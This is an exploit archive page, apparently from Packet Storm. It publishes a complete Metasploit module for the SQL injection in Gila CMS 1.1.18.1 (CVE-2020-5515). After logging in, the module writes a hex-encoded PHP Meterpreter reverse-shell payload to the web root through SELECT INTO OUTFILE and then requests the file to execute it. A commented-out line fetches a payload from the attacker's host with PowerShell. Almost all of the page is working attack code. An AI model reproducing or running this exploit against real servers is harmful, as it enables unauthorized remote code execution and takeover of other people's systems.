what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Gila CMS 1.1.18.1 SQL Injection / Shell Upload

Gila CMS 1.1.18.1 SQL Injection / Shell Upload
Posted Jun 18, 2020
Authored by th3d1gger, Carlos Ramirez L | Site metasploit.com

This Metasploit module exploits a remote SQL injection vulnerability in the "query" parameter found on Gila CMS version 1.1.18.1.

tags | exploit, remote, sql injection
advisories | CVE-2020-5515
SHA-256 | 67d47acf6c51ced0b686d0152f6b884da8154b3ba0451ec2e3dcf58ecf577ae2

Gila CMS 1.1.18.1 SQL Injection / Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "net/http"
require "uri"
require 'nokogiri'


class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking


include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE


def initialize(info = {})
super(update_info(info,
'Name' => 'Gila CMS 1.1.18.1 Shell Upload ',
'Description' => %q{
This module exploits sql injection vulnerability in "query" parameter that found on Gila CMS 1.1.18.1 .
},
'Author' => [ 'th3d1gger','Carlos Ramirez L. (BillyV4)' ],
'References' =>
[

['CVE', 'CVE-2020-5515'],
['PACKETSTORM', '158114']

],
'License' => 'MSF_LICENSE',
'Platform' => 'PHP',
'Arch' => ARCH_PHP,

'Targets' =>
[
[
'Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'Payload' => { 'BadChars' => "'" },
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
],
],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('USERNAME', [ true, 'Email to login with', 'user@gilacms.com']),

OptString.new('PASSWORD', [ true, 'Password to login with', 'password']),
OptString.new('TARGETURI', [ true, 'Uri for Gila CMS base', '/gila-1.11.8/']),
OptString.new('TARGETPATH', [ true, 'Full Path to shell upload', "C://xampp3//htdocs//gila-1.11.8//"])#,


], self.class)
# OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.0.1']),
# OptInt.new('SRVPORT', [true, 'HTTP Server Bind Port', '4554']),
# OptString.new('FILENAME', [true, 'Payload filename', 'payloader.elf'])

end

def primer
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

#some serving things
# def on_request_uri(cli, req)
# @pl = generate_payload_exe
# print_status("#{peer} - Payload request received: #{req.uri}")
# send_response(cli, @pl)
# end

def gila

uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['targeturi'].to_s+'/admin')
http = Net::HTTP.new(uri.host, uri.port)

request = Net::HTTP::Get.new(uri.request_uri)

response = http.request(request)

cookies = response.response['set-cookie']
cookies = cookies.split(';')[0]


request = Net::HTTP::Post.new(uri)
request.set_form_data({"username" => username, "password" => password})



request['Cookie'] = cookies

request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
response = http.request(request)



if response && response.body.include?("Dashboard")

print_good("yayayay! Authenticated with #{username}:#{password}")
gsessionid = response.response['set-cookie']





@fname = "#{rand_text_alphanumeric(rand(10)+6)}.PHP"
#for windows php = "<?php shell_exec('powershell -c \"Invoke-WebRequest -Uri http://"+srvhost+":"+srvport.to_s+"/"+filename+" -OutFile "+ datastore['targetpath']+"assets//"+filename+ " \"'); shell_exec('"+datastore['targetpath']+"assets//"+filename+"') ?>"

#bypass strip_tags
php = "<?php #{payload.encoded} ?>"
php = php.each_byte.map { |b| b.to_s(16) }.join
php = "0x"+php
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['targeturi'].to_s+'/admin/sql?query=SELECT id FROM user LIMIT 0,1 INTO OUTFILE \''+datastore['targetpath'] +"assets//"+@fname+'\' LINES TERMINATED BY '+php+'')

request = Net::HTTP::Get.new(uri)

request['Cookie'] = cookies+';'+ gsessionid.split(';')[0]+';'

request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
response = http.request(request)
if response.body.include?('Page created in')
#Another serving things

#resource_uri="/"+filename
#start_service({'Uri' => {
# 'Proc' => Proc.new { |cli, req|
# on_request_uri(cli, req)},
# 'Path' => resource_uri
# }})
# print_status("#{rhost}:#{rport} - Trying Exploitation in 2 requests...")



print_status("Payload uploaded")
print_status("#{@fname}")
print_status("#{peer} - Executing #{@fname}...")

uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['targeturi'].to_s+'assets/'+@fname)

http = Net::HTTP.new(uri.host, uri.port)


request = Net::HTTP::Get.new(uri.request_uri)

response = http.request(request)
print_status("Payload is on #{uri} You can trigger it by yourself if it doesn't work.")
#and things about server
#print_status("#{srvhost}:#{srvport} - Waiting 1 minute for shell")
# sleep(60)

else
print_status("Payload can not be uploaded")
print response.body
end
else
# print_status(response.body)
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end


end



def exploit

gila

if gila.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end
end
end

# 0day.today [2020-06-16] #
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close